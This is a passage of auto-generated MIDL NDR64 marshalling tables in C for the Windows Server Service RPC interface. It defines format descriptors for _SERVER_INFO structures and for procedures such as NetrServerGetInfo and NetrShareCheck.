  (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag463_t __midl_frag463 =\n{ \n/* _SERVER_INFO_1556 */\n    { \n    /* _SERVER_INFO_1556 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _SERVER_INFO_1556 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag376_t __midl_frag376 =\n{ \n/* _SERVER_INFO_1005 */\n    { \n    /* _SERVER_INFO_1005 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_1005 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag373_t __midl_frag373 =\n{ \n/* _SERVER_INFO_599 */\n    { \n    /* _SERVER_INFO_599 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_599 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 232 /* 0xe8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag370_t __midl_frag370 =\n{ \n/* _SERVER_INFO_503 */\n    { \n    /* _SERVER_INFO_503 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_503 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 176 /* 0xb0 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag368_t __midl_frag368 =\n{ \n/* _SERVER_INFO_502 */\n    { \n    /* _SERVER_INFO_502 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _SERVER_INFO_502 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */\n    }\n};\n\nstatic const __midl_frag366_t __midl_frag366 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag362_t __midl_frag362 =\n{ \n/* _SERVER_INFO_103 */\n    { \n    /* _SERVER_INFO_103 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_103 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 80 /* 0x50 */,\n        0,\n        0,\n        &__midl_frag366,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* _SERVER_INFO_103 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag356_t __midl_frag356 =\n{ \n/* _SERVER_INFO_102 */\n    { \n    /* _SERVER_INFO_102 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_102 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        0,\n        0,\n        &__midl_frag366,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag354_t __midl_frag354 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag351_t __midl_frag351 =\n{ \n/* _SERVER_INFO_101 */\n    { \n    /* _SERVER_INFO_101 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_101 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag354,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag349_t __midl_frag349 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag347_t __midl_frag347 =\n{ \n/* _SERVER_INFO_100 */\n    { \n    /* _SERVER_INFO_100 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_100 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag349,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag343_t __midl_frag343 =\n{ \n/* *_SERVER_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag470\n};\n\nstatic const __midl_frag342_t __midl_frag342 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag341_t __midl_frag341 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag340_t __midl_frag340 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag341\n};\n\nstatic const __midl_frag339_t __midl_frag339 =\n{ \n/* NetrServerGetInfo */\n    { \n    /* NetrServerGetInfo */      /* procedure NetrServerGetInfo */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag340,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag342,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag470,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag336_t __midl_frag336 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag342\n};\n\nstatic const __midl_frag331_t __midl_frag331 =\n{ \n/* NetrShareCheck */\n    { \n    /* NetrShareCheck */      /* procedure NetrShareCheck */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Device */      /* parameter Device */\n        &__midl_frag736,\n        { \n        /* Device */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag342,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag342,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag324_t __midl_frag324 =\n{ \n/* NetrShareDelSticky */\n    { \n    /* NetrShareDelSticky */      /* procedure NetrShareDelSticky */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct 